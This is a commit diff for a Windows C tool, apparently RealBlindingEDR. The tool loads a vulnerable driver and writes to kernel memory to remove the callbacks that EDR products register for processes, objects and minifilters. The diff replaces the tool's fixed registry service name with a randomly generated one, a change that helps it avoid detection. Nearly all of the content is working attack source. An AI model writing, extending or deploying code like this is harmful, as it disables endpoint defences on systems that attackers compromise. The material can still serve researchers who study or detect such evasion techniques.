@@ -5,10 +5,11 @@ DWORD dwMajor = 0;
5
5
DWORD dwMinorVersion = 0 ;
6
6
DWORD dwBuild = 0 ;
7
7
INT64 EDRIntance[500 ] = { 0 };
8
+ TCHAR* RandomName = NULL ;
8
9
BOOL LoadDriver () {
9
10
HKEY hKey;
10
11
HKEY hsubkey;
11
- if (!RegOpenKeyExW (HKEY_LOCAL_MACHINE, L" System\\ CurrentControlSet" , 0 , 2u , &hKey) && !RegCreateKeyW (hKey, L" RealBlindingEDR " , &hsubkey)) {
12
+ if (!RegOpenKeyExW (HKEY_LOCAL_MACHINE, L" System\\ CurrentControlSet" , 0 , 2u , &hKey) && !RegCreateKeyW (hKey, RandomName , &hsubkey)) {
12
13
CHAR* pdata = (CHAR*)calloc (1024 , 1 );
13
14
if (pdata == NULL ) return FALSE ;
14
15
memcpy (pdata, " \\ ??\\ " , strlen (" \\ ??\\ " ));
@@ -25,16 +26,14 @@ BOOL LoadDriver() {
25
26
}
26
27
27
28
if (!RegOpenKeyExW (HKEY_LOCAL_MACHINE, L" System\\ CurrentControlSet\\ services" , 0 , 2u , &hKey)) {
28
- RegCreateKeyW (hKey, L" RealBlindingEDR " , &hsubkey);
29
+ RegCreateKeyW (hKey, RandomName , &hsubkey);
29
30
}
30
31
else {
31
32
printf (" Step3 Error\n " );
32
33
return FALSE ;
33
34
}
34
35
RegCloseKey (hKey);
35
36
36
- INT errcode;
37
-
38
37
HMODULE hMoudle = LoadLibraryA (" ntdll.dll" );
39
38
if (hMoudle == NULL ) {
40
39
printf (" Step4 Error\n " );
@@ -52,8 +51,10 @@ BOOL LoadDriver() {
52
51
}
53
52
54
53
UNICODE_STRING szSymbolicLink;
55
- RtlInitUnicodeString (&szSymbolicLink, (wchar_t *)L" \\ Registry\\ Machine\\ System\\ CurrentControlSet\\ RealBlindingEDR" );
56
- errcode = NtLoadDriver (&szSymbolicLink);
54
+ TCHAR LinkPath[100 ] = L" \\ Registry\\ Machine\\ System\\ CurrentControlSet\\ " ;
55
+ lstrcat (LinkPath, RandomName);
56
+ RtlInitUnicodeString (&szSymbolicLink, LinkPath);
57
+ INT errcode = NtLoadDriver (&szSymbolicLink);
57
58
if (errcode >= 0 )
58
59
{
59
60
return TRUE ;
@@ -92,7 +93,9 @@ VOID UnloadDrive() {
92
93
93
94
RtlInitUnicodeStringPtr RtlInitUnicodeString = (RtlInitUnicodeStringPtr)GetProcAddress (hMoudle, " RtlInitUnicodeString" );
94
95
UNICODE_STRING szSymbolicLink;
95
- RtlInitUnicodeString (&szSymbolicLink, (wchar_t *)L" \\ Registry\\ Machine\\ System\\ CurrentControlSet\\ RealBlindingEDR" );
96
+ TCHAR LinkPath[100 ] = L" \\ Registry\\ Machine\\ System\\ CurrentControlSet\\ " ;
97
+ lstrcat (LinkPath, RandomName);
98
+ RtlInitUnicodeString (&szSymbolicLink, LinkPath);
96
99
NtUnLoadDriverPtr NtUnLoadDriver = (NtUnLoadDriverPtr)GetProcAddress (hMoudle, " NtUnloadDriver" );
97
100
98
101
int errcode = NtUnLoadDriver (&szSymbolicLink);
@@ -105,7 +108,7 @@ VOID UnloadDrive() {
105
108
}
106
109
}
107
110
BOOL InitialDriver () {
108
- // win7 加载此驱动崩溃,和后面代码逻辑无关
111
+ // win7 加载此驱动崩溃,和后面代码逻辑无关
109
112
if (Driver_Type == 1 ) {
110
113
hDevice = CreateFile (L" \\\\ .\\ EchoDrv" , GENERIC_WRITE | GENERIC_READ, 0 , NULL , OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
111
114
if (hDevice == INVALID_HANDLE_VALUE) {
@@ -260,7 +263,6 @@ INT64 GetFuncAddress(CHAR* ModuleName, CHAR* FuncName) {
260
263
return (INT64)KBase + Offset;
261
264
}
262
265
263
-
264
266
INT64 GetPspNotifyRoutineArray (CHAR* KernelCallbackRegFunc) {
265
267
266
268
INT64 PsSetCallbacksNotifyRoutineAddress = GetFuncAddress ((CHAR*)" ntoskrnl.exe" , KernelCallbackRegFunc);
@@ -553,7 +555,7 @@ VOID RemoveObRegisterCallbacks(INT64 PsProcessTypeAddr, INT flag) {
553
555
CHAR* DriverName2 = GetDriverName (EDRPostOperation);
554
556
if (DriverName2 != NULL ) {
555
557
if (IsEDR (DriverName2)) {
556
- // 清除回调
558
+ // 清除回调
557
559
DriverWriteMemery (data, (VOID*)(Flink + 48 ), 8 );
558
560
if (flag == 1 ) {
559
561
printf (" Process PreOperation: %s [Clear]\n " , DriverName2);
@@ -945,6 +947,23 @@ VOID ClearMiniFilterCallback() {
945
947
946
948
}
947
949
950
+ VOID GenerateRandomName () {
951
+ srand ((UINT)time (NULL ));
952
+
953
+ INT length = rand () % 4 + 7 ;
954
+ TCHAR charset[] = L" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
955
+ RandomName = (TCHAR*)calloc (length*2 + 12 ,1 );
956
+ if (RandomName) {
957
+ for (INT i = 0 ; i < length; ++i) {
958
+ INT index = rand () % (INT)(lstrlen (charset) - 1 );
959
+ RandomName[i] = charset[index ];
960
+ }
961
+ }
962
+ else {
963
+ printf (" Random Error!\n " );
964
+ ExitProcess (0 );
965
+ }
966
+ }
948
967
int main (int argc, char * argv[])
949
968
{
950
969
printf (" _______ __ ______ __ _ __ _ ________ ______ _______ \n " );
@@ -961,6 +980,7 @@ int main(int argc, char* argv[])
961
980
DrivePath = argv[1 ];
962
981
Driver_Type = atoi (argv[2 ]);
963
982
983
+ GenerateRandomName ();
964
984
HINSTANCE hinst = LoadLibraryA (" ntdll.dll" );
965
985
if (hinst == NULL ) return FALSE ;
966
986
NTPROC proc = (NTPROC)GetProcAddress (hinst, " RtlGetNtVersionNumbers" );
0 commit comments